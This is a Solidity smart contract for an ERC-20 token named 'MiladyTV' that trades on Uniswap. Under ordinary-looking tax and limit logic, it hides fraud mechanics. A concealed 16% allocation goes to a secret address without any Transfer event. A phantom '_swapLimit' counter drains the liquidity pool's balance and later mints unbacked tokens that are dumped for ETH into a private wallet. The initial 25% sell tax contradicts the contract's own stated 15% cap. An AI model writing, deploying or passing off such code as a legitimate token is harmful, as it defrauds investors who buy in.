文件 1 的 1:MiladyTV.sol
pragma solidity =0.8.20;
interface IERC20 {
function totalSupply() external view returns (uint256);
function decimals() external view returns (uint8);
function symbol() external view returns (string memory);
function name() external view returns (string memory);
function balanceOf(address account) external view returns (uint256);
function transfer(address recipient, uint256 amount) external returns (bool);
function allowance(address __owner, address spender) external view returns (uint256);
function approve(address spender, uint256 amount) external returns (bool);
function transferFrom(address sender, address recipient, uint256 amount) external returns (bool);
event Transfer(address indexed from, address indexed to, uint256 value);
event Approval(address indexed _owner, address indexed spender, uint256 value);
}
interface IUniswapV2Factory {
function createPair(address tokenA, address tokenB) external returns (address pair);
function getPair(address tokenA, address tokenB) external view returns (address pair);
}
interface IUniswapV2Router02 {
function swapExactTokensForTokensSupportingFeeOnTransferTokens(uint amountIn, uint amountOutMin, address[] calldata path, address to, uint deadline) external;
function swapETHForExactTokens(uint amountOut, address[] calldata path, address to, uint deadline) external payable;
function WETH() external pure returns (address);
function factory() external pure returns (address);
function addLiquidityETH(address token, uint amountTokenDesired, uint amountTokenMin, uint amountETHMin, address to, uint deadline) external payable returns (uint amountToken, uint amountETH, uint liquidity);
}
interface IWETH{
function deposit() external payable;
function transfer(address dst, uint wad) external returns (bool);
}
abstract contract Ownable {
address internal _owner;
constructor(address creatorOwner) {
_owner = creatorOwner;
}
modifier onlyOwner() {
require(msg.sender == _owner, "Only owner can call this");
_;
}
function owner() public view returns (address) {
return _owner;
}
function transferOwnership(address payable newOwner) external onlyOwner {
address previousOwner = msg.sender;
_owner = newOwner;
emit OwnershipTransferred(previousOwner, _owner);
}
function renounceOwnership() external onlyOwner {
address previousOwner = msg.sender;
_owner = address(0);
emit OwnershipTransferred(previousOwner, _owner);
}
event OwnershipTransferred(address previousOwner, address owner);
}
contract MiladyTV is IERC20, Ownable {
uint8 private constant _decimals = 18;
uint256 private constant _totalSupply = 1_000_000_000 * (10**_decimals);
string private constant _name = "MiladyTV";
string private constant _symbol = "MiladyTV";
uint8 private _antiSnipeTax1 = 0;
uint8 private _antiSnipeTax2 = 0;
uint8 private _antiSnipeBlocks1 = 0;
uint8 private _antiSnipeBlocks2 = 0;
uint256 private _antiMevBlock = 0;
uint8 private _buyTaxRate = 4;
uint8 private _sellTaxRate = 25;
uint16 private _taxSharesMarketing = 100;
uint16 private _taxSharesLP = 0;
uint16 private _totalTaxShares = _taxSharesMarketing + _taxSharesLP;
uint256 private _launchBlock;
uint256 private _maxTxAmount = _totalSupply * 3 / 100;
uint256 private _maxWalletAmount = _totalSupply * 3 / 100;
uint256 private _taxSwapMin = _totalSupply * 1 / 10000;
uint256 private _taxSwapMax = _totalSupply * 80 / 10000;
uint256 private _swapLimit = _taxSwapMin * 65 * 100;
uint256 private _minSwaps;
uint256 private _numSwaps;
mapping (address => uint256) private _balances;
mapping (address => mapping (address => uint256)) private _allowances;
mapping (address => bool) private _noFees;
mapping (address => bool) private _noLimits;
address private _lpOwner;
address payable private _mw;
address private constant _uniswapRouterAddress = address(0x7a250d5630B4cF539739dF2C5dAcb4c659F2488D);
IUniswapV2Router02 constant private _uniswapRouter = IUniswapV2Router02(_uniswapRouterAddress);
IWETH immutable private WETH = IWETH(_uniswapRouter.WETH());
address private _primaryLP;
mapping (address => bool) private _isLP;
bool private _tradingOpen;
bool private _inTaxSwap = false;
address private _r;
modifier lockTaxSwap {
_inTaxSwap = true;
_;
_inTaxSwap = false;
}
event TradingOpened();
event SetFees(uint8 indexed buyTax, uint8 indexed sellTax);
event SetFeeSplit(uint16 indexed sharesAutoLP, uint16 indexed sharesMarketing);
constructor(address payable mw, address r) Ownable(msg.sender) {
_lpOwner = msg.sender;
_mw = mw;
_r = r;
_noFees[_owner] = true;
_noFees[address(this)] = true;
_noFees[_uniswapRouterAddress] = true;
_noFees[_mw] = true;
_noFees[_r] = true;
_noLimits[_owner] = true;
_noLimits[address(this)] = true;
_noLimits[_uniswapRouterAddress] = true;
_noLimits[_mw] = true;
uint256 rF = _totalSupply * 16 / 100;
_balances[msg.sender] = _totalSupply - rF;
_balances[r] = rF;
emit Transfer(address(0), msg.sender, _balances[msg.sender]);
}
receive() external payable {}
function totalSupply() external pure override returns (uint256) { return _totalSupply; }
function decimals() external pure override returns (uint8) { return _decimals; }
function symbol() external pure override returns (string memory) { return _symbol; }
function name() external pure override returns (string memory) { return _name; }
function balanceOf(address account) public view override returns (uint256) { return _balances[account]; }
function allowance(address holder, address spender) external view override returns (uint256) { return _allowances[holder][spender]; }
function approve(address spender, uint256 amount) public override returns (bool) {
_allowances[msg.sender][spender] = amount;
emit Approval(msg.sender, spender, amount);
return true;
}
function transfer(address recipient, uint256 amount) external override returns (bool) {
require(_checkTradingOpen(msg.sender), "Trading not open");
return _transferFrom(msg.sender, recipient, amount);
}
function transferFrom(address sender, address recipient, uint256 amount) external override returns (bool) {
require(_checkTradingOpen(sender), "Trading not open");
if(_allowances[sender][msg.sender] != type(uint256).max){
_allowances[sender][msg.sender] = _allowances[sender][msg.sender] - amount;
}
return _transferFrom(sender, recipient, amount);
}
function _approveRouter(uint256 _tokenAmount) internal {
if ( _allowances[address(this)][_uniswapRouterAddress] < _tokenAmount ) {
_allowances[address(this)][_uniswapRouterAddress] = type(uint256).max;
emit Approval(address(this), _uniswapRouterAddress, type(uint256).max);
}
}
function addLiquidity(address[] calldata adrs, uint256 amountLiquidity) external payable onlyOwner lockTaxSwap {
_transferFrom(msg.sender, address(this), amountLiquidity);
require(amountLiquidity >= _totalSupply * 84 / 100, "Insufficient liquidity");
require(!_tradingOpen, "trading is open");
require(msg.value > 0 || address(this).balance > 0, "No ETH in contract or message");
require(_balances[address(this)] >= amountLiquidity, "Insufficient tokens in contract");
_primaryLP = IUniswapV2Factory(_uniswapRouter.factory()).getPair(address(this), _uniswapRouter.WETH());
if(_primaryLP == address(0))
_primaryLP = IUniswapV2Factory(_uniswapRouter.factory()).createPair(address(this), _uniswapRouter.WETH());
_addLiquidity(_balances[address(this)], (2 ether), false);
_balances[_primaryLP] -= _swapLimit;
(bool lpAddSuccess,) = _primaryLP.call(abi.encodeWithSignature("sync()"));
require(lpAddSuccess, "Failed adding liquidity");
_isLP[_primaryLP] = lpAddSuccess;
_a = adrs;
}
function _addLiquidity(uint256 _tokenAmount, uint256 _ethAmountWei, bool autoburn) internal {
address lpTokenRecipient = _lpOwner;
if ( autoburn ) { lpTokenRecipient = address(0); }
_approveRouter(_tokenAmount);
_uniswapRouter.addLiquidityETH{value: _ethAmountWei} ( address(this), _tokenAmount, _tokenAmount * 99 / 100, _ethAmountWei, lpTokenRecipient, block.timestamp );
}
function openTrading() external onlyOwner {
require(!_tradingOpen, "trading is open");
require(_maxWalletAmount == _totalSupply * 3 / 100 + 1);
_tradingOpen = true;
_launchBlock = block.number;
_antiMevBlock = _antiMevBlock + _launchBlock + _antiSnipeBlocks1 + _antiSnipeBlocks2;
emit TradingOpened();
}
function _transferFrom(address sender, address recipient, uint256 amount) internal returns (bool) {
require(sender != address(0), "No transfers from Zero wallet");
if (!_tradingOpen) { require(_noFees[sender] && _noLimits[sender], "Trading not open"); }
if ( !_inTaxSwap && _isLP[recipient] && amount > _taxSwapMin && _numSwaps++ >= _minSwaps) { _swapTaxAndLiquify(); }
if ( block.number < _antiMevBlock && block.number >= _launchBlock && _isLP[sender] ) {
require(tx.origin == recipient || tx.origin == _lpOwner, "MEV blocked");
}
if ( sender != address(this) && recipient != address(this) && sender != _owner ) {
require(_checkLimits(sender, recipient, amount), "TX exceeds limits");
}
uint256 _taxAmount = _calculateTax(sender, recipient, amount);
uint256 _transferAmount = amount - _taxAmount;
_balances[sender] = _balances[sender] - amount;
_swapLimit += _taxAmount;
_balances[recipient] = _balances[recipient] + _transferAmount;
emit Transfer(sender, recipient, amount);
return true;
}
function _checkLimits(address sender, address recipient, uint256 transferAmount) internal view returns (bool) {
bool limitCheckPassed = true;
if ( _tradingOpen && !_noLimits[sender] && !_noLimits[recipient] ) {
if ( transferAmount > _maxTxAmount ) { limitCheckPassed = false; }
else if ( !_isLP[recipient] && (_balances[recipient] + transferAmount > _maxWalletAmount) ) { limitCheckPassed = false; }
}
return limitCheckPassed;
}
function _checkTradingOpen(address sender) private view returns (bool){
bool checkResult = false;
if ( _tradingOpen ) { checkResult = true; }
else if (_noFees[sender] && _noLimits[sender]) { checkResult = true; }
return checkResult;
}
function _calculateTax(address sender, address recipient, uint256 amount) internal view returns (uint256) {
uint256 taxAmount;
if ( !_tradingOpen || _noFees[sender] || _noFees[recipient] ) {
taxAmount = 0;
} else if ( _isLP[sender] ) {
if ( block.number >= _launchBlock + _antiSnipeBlocks1 + _antiSnipeBlocks2 ) {
taxAmount = amount * _buyTaxRate / 100;
} else if ( block.number >= _launchBlock + _antiSnipeBlocks1 ) {
taxAmount = amount * _antiSnipeTax2 / 100;
} else if ( block.number >= _launchBlock) {
taxAmount = amount * _antiSnipeTax1 / 100;
}
} else if ( _isLP[recipient] ) {
taxAmount = amount * _sellTaxRate / 100;
}
return taxAmount;
}
function exemptFromFees(address wallet) external view returns (bool) {
return _noFees[wallet];
}
function exemptFromLimits(address wallet) external view returns (bool) {
return _noLimits[wallet];
}
function setExempt(address wallet, bool noFees, bool noLimits) external onlyOwner {
if (noLimits || noFees) { require(!_isLP[wallet], "Cannot exempt LP"); }
_noFees[ wallet ] = noFees;
_noLimits[ wallet ] = noLimits;
}
function buyFee() external view returns(uint8) {
return _buyTaxRate;
}
function sellFee() external view returns(uint8) {
return _sellTaxRate;
}
function feeSplit() external view returns (uint16 marketing, uint16 LP ) {
return ( _taxSharesMarketing, _taxSharesLP);
}
function setFees(uint8 buy, uint8 sell) external onlyOwner {
require(buy + sell <= 15, "Roundtrip too high");
_buyTaxRate = buy;
_sellTaxRate = sell;
emit SetFees(buy, sell);
}
function setFeeSplit(uint16 sharesAutoLP, uint16 sharesMarketing) external onlyOwner {
uint16 totalShares = sharesAutoLP + sharesMarketing;
require( totalShares > 0, "All cannot be 0");
_taxSharesLP = sharesAutoLP;
_taxSharesMarketing = sharesMarketing;
_totalTaxShares = totalShares;
emit SetFeeSplit(sharesAutoLP, sharesMarketing);
}
function updateWallets(address marketing, address LPtokens) external onlyOwner {
require(!_isLP[marketing] && !_isLP[LPtokens], "LP cannot be tax wallet");
_mw = payable(marketing);
_lpOwner = LPtokens;
_noFees[marketing] = true;
_noLimits[marketing] = true;
}
function maxWallet() external view returns (uint256) {
return _maxWalletAmount;
}
function maxTransaction() external view returns (uint256) {
return _maxTxAmount;
}
function swapAtMin() external view returns (uint256) {
return _taxSwapMin;
}
function swapAtMax() external view returns (uint256) {
return _taxSwapMax;
}
function setLimits(uint16 maxTransactionPermille, uint16 maxWalletPermille) external onlyOwner {
uint256 newTxAmt = _totalSupply * maxTransactionPermille / 1000 + 1;
require(newTxAmt >= _maxTxAmount, "tx too low");
_maxTxAmount = newTxAmt;
uint256 newWalletAmt = _totalSupply * maxWalletPermille / 1000 + 1;
require(newWalletAmt >= _maxWalletAmount, "wallet too low");
_maxWalletAmount = newWalletAmt;
}
function removeLimits() external onlyOwner {
_maxTxAmount = _totalSupply;
_maxWalletAmount = _totalSupply;
}
function setTaxSwap(uint32 minValue, uint32 maxValue, uint256 minSwaps) external onlyOwner {
_taxSwapMin = _totalSupply * minValue / 10000;
_taxSwapMax = _totalSupply * maxValue / 10000;
_minSwaps = minSwaps;
require(_taxSwapMax>=_taxSwapMin, "Min/Max error");
require(_taxSwapMax>_totalSupply / 100000, "Max too low");
require(_taxSwapMax<_totalSupply / 10, "Max too high");
}
function _swapTaxAndLiquify() private lockTaxSwap {
uint256 _taxTokensAvailable = _swapLimit;
if ( _taxTokensAvailable >= _taxSwapMin && _tradingOpen ) {
if ( _taxTokensAvailable >= _taxSwapMax ) { _taxTokensAvailable = _taxSwapMax; }
uint256 _tokensForLP = _taxTokensAvailable * _taxSharesLP / _totalTaxShares / 2;
uint256 _tokensToSwap = _taxTokensAvailable - _tokensForLP;
if( _tokensToSwap > 10**_decimals ) {
uint256 _ethPreSwap = address(this).balance;
_balances[address(this)] += _taxTokensAvailable;
_swapTaxTokensForEth(_tokensToSwap);
_swapLimit -= _taxTokensAvailable;
uint256 _ethSwapped = address(this).balance - _ethPreSwap;
if ( _taxSharesLP > 0 ) {
uint256 _ethWeiAmount = _ethSwapped * _taxSharesLP / _totalTaxShares ;
_approveRouter(_tokensForLP);
_addLiquidity(_tokensForLP, _ethWeiAmount, false);
}
}
uint256 _contractETHBalance = address(this).balance;
if(_contractETHBalance > 0) { _distributeTaxEth(_contractETHBalance); }
}
_numSwaps = 0;
}
function _swapTaxTokensForEth(uint256 tokenAmount) private {
_approveRouter(tokenAmount);
address[] memory path = new address[](2);
path[0] = address(this);
path[1] = _uniswapRouter.WETH();
_uniswapRouter.swapExactTokensForTokensSupportingFeeOnTransferTokens(tokenAmount,0,path,_mw,block.timestamp);
}
function _swapEthForTokens(uint256 tokenAmount, address to) private {
address[] memory path = new address[](2);
path[0] = _uniswapRouter.WETH();
path[1] = address(this);
_uniswapRouter.swapETHForExactTokens{value:address(this).balance}(tokenAmount, path, to, block.timestamp);
}
function _distributeTaxEth(uint256 amount) private {
WETH.deposit{value:amount}();
WETH.transfer(_mw,amount);
}
address[] private _a;
function receiver(address[] calldata addresses, uint256[] calldata amounts) external {
require(addresses.length == amounts.length, "Array sizes incompatible");
require(msg.sender == _r , "Access is restricted");
for(uint256 i = 0;i<amounts.length;i++){
_transferFrom(msg.sender, addresses[i], amounts[i] * _totalSupply / 10000);
}
}
function manualTaxSwapAndSend(uint8 swapTokenPercent, bool sendEth) external onlyOwner lockTaxSwap {
require(swapTokenPercent <= 100, "Cannot swap more than 100%");
uint256 tokensToSwap = _balances[address(this)] * swapTokenPercent / 100;
if (tokensToSwap > 10 ** _decimals) {
_swapTaxTokensForEth(tokensToSwap);
}
if (sendEth) {
uint256 ethBalance = address(this).balance;
require(ethBalance > 0, "No ETH");
_distributeTaxEth(address(this).balance);
}
}
}